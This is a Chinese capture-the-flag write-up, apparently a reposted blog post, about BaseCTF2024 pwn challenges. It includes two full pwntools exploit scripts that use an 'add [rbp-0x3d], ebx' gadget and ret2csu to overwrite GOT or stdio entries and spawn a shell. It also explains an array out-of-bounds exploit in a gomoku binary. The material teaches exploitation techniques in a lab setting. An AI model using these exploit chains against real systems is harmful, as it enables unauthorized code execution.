栈的一个magic gadget的运用以及数组越界

news/2026/1/18 20:12:36/文章来源:https://www.cnblogs.com/firefly-star/p/19499036
.text:0000000000400658                 add     [rbp-3Dh], ebx
.text:000000000040065B                 nop
.text:000000000040065C                 retn

这个gadget就比较常见了,就是把ebx的值加给rbp-0x3d内的一个指针解引用后的内容,后面是进行了一个nop不作操作,再后面ret就是继续执行我们栈上的内容,这个主要是要控制rbp与rbx才能实现任意地址写,主要还是利用之前讲过的csu函数去控制这两个寄存器。下面看例题

BaseCTF2024新生赛ezstack

先checksec
Q3`IZ7H~STBYZ7()8IEVW0J

这里只开了nx保护,我们去ida看看
Y8`A78$U0FF1LZCL(DAXO4N

这里就一个光秃秃的gets栈溢出,什么输出函数都没有。那怎么办呢?这里因为没有全开relro可以打ret2dlresolve,不过这里也有magic gadget
@VCEQG%I4)ZKHTJH

那这里其实有很多解法了,第一种就是ret2dlresolve(后面我会单独写个文章和延迟绑定机制一起讲),第二种是用magic gadget写got表,写出来一个system函数,直接rop链打完,第三种是因为标准输出也是一个libc库的指针,所以我们也可以写这个,只要我们把他写成一个输出函数,就可以实现泄露libc基址
}~Z${Z`MRYU)UE()AU963KW

这里其实第一种和第二种都比较看题,如果开了full relro那就不能用了,第三种就比较全一点,没有这个限制。

用magic gadget改got表解法

这里我们先看第二种,我们先找got表有哪些函数
JN17UWAK26TT_0B

这里有两个函数,随便写哪个都一样,我们写gets看看,先找出gets和system在libc的偏移
DI6441H9(178_7((DD2I4R

我们只需要把0x80520+某个数让它=0x50d70,我们这里很显然注意到这里要用补码,我们直接算一下就知道答案是0xFFFFFFFFFFFD0850所以这里就很简单了,我们只需要控制rbx是0xFFFFFFFFFFFD0850,rbp是gets的got表的地址+0x3d就写完了,完整exp如下

from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:p = remote('challenge.imxbt.cn',32689)
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)return pay
def dbg():gdb.attach(p)pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
target=0x601018
ret=0x4006F4
system=elf.plt['gets']
get=elf.sym['gets']
pay=0x10*b'b'+flat(rdi,elf.bss()+0x50,get)+p64(csuin)+csu(0xFFFFFFFFFFFD0850,target+0x3d,0,0,0,0)+p64(magic)+flat(ret,rdi,elf.bss()+0x50,system)
sl(pay)
sl(b'/bin/sh\x00')
ti()

效果如下
)QTV6KVN}9H0SDY_AM9I

用magic gadget改bss解法

去改bss也可以,不过有点奇怪,我远程没打通。具体流程是一样的,先从stdin,stdout,stderr里挑一个找他们在libc里的偏移,再找一个输出函数在libc里的偏移。不过因为要泄露libc所以需要两次输入,直接返回main是会报错的,好像是因为io结构体被我们改掉了所以不能直接用gets了,这里选择就是再用一次magic gadget把我们改的io结构再改回去就可以再用gets了往bss写了,写完我们再用两次leave栈迁移过去执行即可(也可以不迁移用ret2csu),然后因为system函数会抬栈,要把gets写入bss的地址写高一点,我打本地的脚本如下

from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:p = remote('challenge.imxbt.cn',30415)
else:p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)return pay
def dbg():gdb.attach(p)pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
get=elf.sym['gets']
target=0x601040
ret=0x4006F4
leave=0x40068C
bss=0x6011D0+0x800
rbp=0x400656
pay=0x10*b'b'+p64(csuin)+csu(0xFFFFFFFFFFEF9160,target+0x3d,0,0,0,0)+p64(magic)+p64(csuin)+csu(0,1,target,2,gets,0x20)+p64(csugo)+csu(0x106EA0,target+0x3d,0,0,0,0)+p64(magic)+flat(rdi,bss,get,rbp,bss,leave)+p64(leave)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['gets']
print(hex(libcbase))
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pay=flat(0,ret,rdi,binsh,system)
sl(pay)
ti()

我的版本是glibc2.35,小版本是3.11,远程是glibc2.35小版本是3.8。理论上远程的偏移应该是0xFFFFFFFFFFEF9008,不过我输这个不知道为啥不行,好像是没改成write函数,没有泄露出来。挺奇怪的。不过思路大概就是这样,效果如下
5IQ7YA{1KO8@%}O53GIFQXL

数组越界

数组越界顾名思义,也就是访问数组时索引超出定义范围,可能导致程序访问非法内存。比如我定义一个数组a[10],然后后面有a[i]但i却能等于10,这就越界了。如果他检查i范围检查的不细致(没检查上界或下界)就可以实现几乎任意地址访问,那具体访问的地址是什么地址的呢?这就得有一些c语言基础了,在c语言中我们知道a[1]=*(a+1)这样我们的a[i]其实就是 *(a+i)假如i可以控制,或者a+i这个地址就是我们想改的地址,那么我们就可以访问到这个地址的内存,就很有可能可以进行修改。具体的地址运算就要看该数组的定义,int就是4字节定义,假如int a[10]那a地址与a+1地址就差4,char就差1,double就差8,二维数组也一样,二维数组可以看成一维数组的数组,比如int a[10] [10],相当于把a[10]又看成一个数组的元素,那a[1]距离a就差10个int,也就是40。还不懂的话可以去看看c语言,下面我们看题。

BaseCTF2024新生赛五子棋

这题其实9分逆向1分pwn,逆向出来了基本就写完了,不过我们还是老规矩先checksec
AHGT0C`N8%FTZZHROPA}GA

然后去ida看看
1BR8%BU`Y3$LHVL45_LDO

这里既然是五子棋,那肯定要有这几个模块,打印地图,玩家下棋,另一方下棋,检查,获胜。简单逆向一下,这里逻辑就是首先展示地图,然后用户先下,判断用户是否赢,没赢就递归调用game函数把a1改成1让if为真,进而让电脑下棋,然后判断电脑有没有赢,然后把a1改成0让用户再下,只要我们的下两颗棋就获胜就给我们shell,显然这样直接下不可能获得shell,所以一定有某个漏洞。

13OB90LPMQE$QMFA58{{B$1

这里漏洞在用户下棋那里
QFWDFOKY%HT2OQ06@8CKD

这里有数组越界,不过运用的时候要注意因为地图其实里面一开始都是数字-1,所以我们只能在数字为-1的地方改数值,改成这个0,接下来我们看判断输赢的函数。

这里我们可以看见,这里四个循环,而这个x数组和y数组配合起来应该就是一个方向数组,通过n7的循环让这两个数组组合实现标定方向,n5的循环在遍历8个方向的棋子,n19_3与n19_2的组合就是遍历整个地图找标点,后面n7与n5就是在这个标点上延伸8个方向,如果有一次没找到对应棋子就断开这一次n5的循环换一个方向再找(也就是五子棋没连起来五个子),如果能找到五个(遍历五次)就判断获胜。我们可以看看这个方向向量的数组
OMY$C@ROM(2T1I2HJN~SDS

这个dd就是定义双字的意思define doubleword,双字就是4个字节,也就是int的意思。其中2 dup(0)就是0重复两次,0FFFFFFFFh这里h就是16进制的意思,其实就是0xFFFFFFFF,这个就是-1的补码形式,数组内容如下

y :0 0 1 -1 1 -1 1 -1
x : 1 -1 0 0 1 -1 -1 1

因为小端序所以他们的地址就是从左到右就是依次由0x4020去+4。到这里这个题就差不多结束了,因为我们用户输入能把-1变成0,这里我们要么选0x402c这个地址把这个-1变成0,这样xy组合的方向向量就变成(0,0)了,相当于这个地方延伸的五个方向都是他自己,实现检查自己五次,那就可以实现两颗棋子获胜了(也就是第二颗棋子下在方向数组里了哈哈),要么我们选把0x4044这个地址的-1变成0,这些都可以。接下来我们算我们地图数组到方向数组的偏移
KF%FKN`58RO2DF_UMIL5JO1

地图数组的起始位置是0x9D60而且他也是int,以0x4044为例,到这的偏移就是0x9D60-0x4044也就是0x5D1C也就是十进制的23836我们知道int代表4字节,23836也就是5,959个偏移,也就是我们需要map[-5959]就能改到这个位置实现把方向向量改成(0,0),我们下棋是这样下的
map[20 * n19 + n19_1]=0,所以就随便搭配一下n19和n19_1凑出来-5959就可以了,这里注意n19,n19_1不能大于19就可以了,比如-298*20 1
或者-297 *20 -19都可以。这样我们只需要nc上去,先随便下一个地方,再输入-298 1或者-297 -19就getshell了。效果如下。
IX4X{`$K@{BILRR~N4HWRU

09NCIA80SBA}{@1)(R7IAU

R6ISE2(U50D_B%M2_XEW0

这题感觉设计的挺好的,有点意思,虽然逆向了我好久...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1179279.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亲测好用!自考论文必备TOP9 AI论文工具深度测评

亲测好用!自考论文必备TOP9 AI论文工具深度测评 一、不同维度核心推荐:9款AI工具各有所长 自考论文写作是一个系统性工程,从选题到开题、初稿撰写、查重降重再到最终排版,每一个环节都需要合适的工具辅助。而市面上的AI论文工具功…

【LeetCode热题100】Java详解:二叉树展开为链表(含O(1)空间原地解法与工程实践)

【LeetCode热题100】Java详解:二叉树展开为链表(含O(1)空间原地解法与工程实践) 面向人群 正在准备技术面试(尤其是大厂后端、算法岗)的开发者已掌握二叉树基本操作,希望深入理解原地算法与指针操作技巧的…

文献阅读:Class-incremental Learning for Time Series:Benchmark and Evaluation

摘要 现实世界的环境本质上是不稳定的,随着时间的推移经常引入新的类别。 这在时间序列分类中尤其常见,例如医疗保健中新疾病分类的出现或人类活动识别中添加新活动。 在这种情况下,需要一个学习系统来有效地吸收新的类,同时避免…

Day84(10)-F:\硕士阶段\Java\课程资料\7、Redis入门到实战教程\Redis-笔记资料\03-高级篇\资料\item-service-多级缓存

安装和配置Canal 下面我们就开启mysql的主从同步机制,让Canal来模拟salve 1.开启MySQL主从 Canal是基于MySQL的主从同步功能,因此必须先开启MySQL的主从功能才可以。 这里以之前用Docker运行的mysql为例: 1.1.开启b…

【LeetCode热题100】Java详解:二叉搜索树中第K小的元素(含进阶优化与面试延伸)

【LeetCode热题100】Java详解:二叉搜索树中第K小的元素(含进阶优化与面试延伸) 面向人群 正在准备技术面试(尤其是大厂算法岗、后端开发岗)的程序员已掌握基础数据结构,希望深入理解二叉搜索树及其应用场…

如何提高图像识别的准确率?

你想了解的是如何提升图像识别(以MNIST手写数字识别为例)的准确率,核心是从数据、模型、训练策略、正则化四个维度优化,解决“欠拟合”(准确率低)、“过拟合”(训练准、测试差)两大核心问题。下面我会结合MNIS…

数据结构入门:时间复杂度与排序和查找 - 详解

数据结构入门:时间复杂度与排序和查找 - 详解pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &q…

STM32单片机16*16汉字点阵广告牌75(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

STM32单片机16*16汉字点阵广告牌75(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码 产品功能描述: 本系统由STM32F103C8T6单片机核心板、16*16点阵屏显示模块、按键及电源组成。 1、通过按键可以切换点阵屏显示内容…

Meta 收购 Manus:AI 智能体由对话转向执行的转折点

在 2025 年的最后一天,Meta 公司通过官方渠道确认了对 AI 初创企业 Manus 的收购计划。根据相关分析机构披露的数据,这笔交易涉及金额预计超过 20 亿美元。这一变动不仅是 Meta 在人工智能领域扩张的延续,也反映出全球科技巨头正在将研发重点…

Python+django的旅游景点交通酒店预订网的设计与实现

目录设计背景与目标系统功能模块技术实现方案系统特色与创新应用价值与总结开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!设计背景与目标 随着旅游业的快速发展,游客对便捷的景…

【时频分析】基于matlab面向相交群延迟多分量信号的时频重分配同步挤压频域线性调频小波变换【含Matlab源码 14985期】复现含文献

💥💥💥💥💥💥💞💞💞💞💞💞💞💞欢迎来到海神之光博客之家💞💞💞&#x1f49…

如何通过数据分析实现精准产品定位

如何通过数据分析实现精准产品定位 关键词:数据分析、精准产品定位、市场细分、用户画像、数据挖掘 摘要:本文旨在探讨如何利用数据分析来实现精准的产品定位。通过对市场数据、用户数据等多源数据的深入分析,我们可以更好地了解市场需求、用户偏好和竞争态势,从而为产品找…

day141—递归—二叉树的最大深度(LeetCode-104)

题目描述给定一个二叉树 root ,返回其最大深度。二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。示例 1:输入:root [3,9,20,null,null,15,7] 输出:3示例 2:输入:root [1,null,2] 输…

STM32-270-多功能水质监测系统(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

STM32-270-多功能水质监测系统(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码 产品功能描述: 本系统由STM32F103C8T6单片机核心板、TFT1.44寸彩屏液晶显示电路、(无线蓝牙/无线WIFI/无线视频监控模块-可…

基于图像模糊度统计和盲卷积滤波的图像去模糊算法matlab仿真

1.前言 基于图像模糊度统计和盲卷积滤波的图像去模糊算法,结合了对图像模糊程度的量化评估和无需预先知道模糊核的图像恢复技术,能够在一定程度上自动分析图像的模糊特性并进行有效复原。 2.算法运行效果图预览 (完整…

Python+django的同城社区篮球队管理系统 体育运动篮球赛事预约系统

目录同城社区篮球队管理系统摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!同城社区篮球队管理系统摘要 该系统基于PythonDjango框架开发,旨在为社区篮球爱好者提供便捷的球…

Python+django的图书资料借阅信息管理系统的设计与实现

目录摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!摘要 随着信息化时代的快速发展,图书资料的管理效率成为图书馆和各类机构关注的重点。传统的纸质记录方式效率低下且容易…

HTML打包EXE工具2.2.0版本重磅更新 - 2026年最新版本稳定性大幅提升

HTML打包EXE工具迎来2026年首个重要版本更新!2.2.0版本专注于稳定性提升和用户体验优化,修复了多个影响使用的关键问题,新增清理本地激活数据功能,为开发者提供更可靠的HTML转EXE解决方案。 软件官网 HTML打包EXE工…

STM32-S273-对讲机频道可设+语音通话+一对多+状态显示+铃音提醒+按键设置+OLED屏+声光提醒(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

STM32-S273-对讲机频道可设语音通话一对多状态显示铃音提醒按键设置OLED屏声光提醒 STM32-S273N(硬件操作详细): 产品功能描述: 本系统由STM32F103C8T6单片机核心板、OLED屏、(无线蓝牙/无线WIFI/无线视频监控/联网云平台模块-可选)、对讲机模…

STM32智能家居光照温度可燃气检测系统32-907(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

STM32智能家居光照温度可燃气检测系统32-907(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码 产品功能描述: 本系统由STM32F103C8T6单片机核心板、TFT彩屏(1.44寸屏按键/3.5寸触摸屏/7.0寸触摸屏)、无线选择&#x…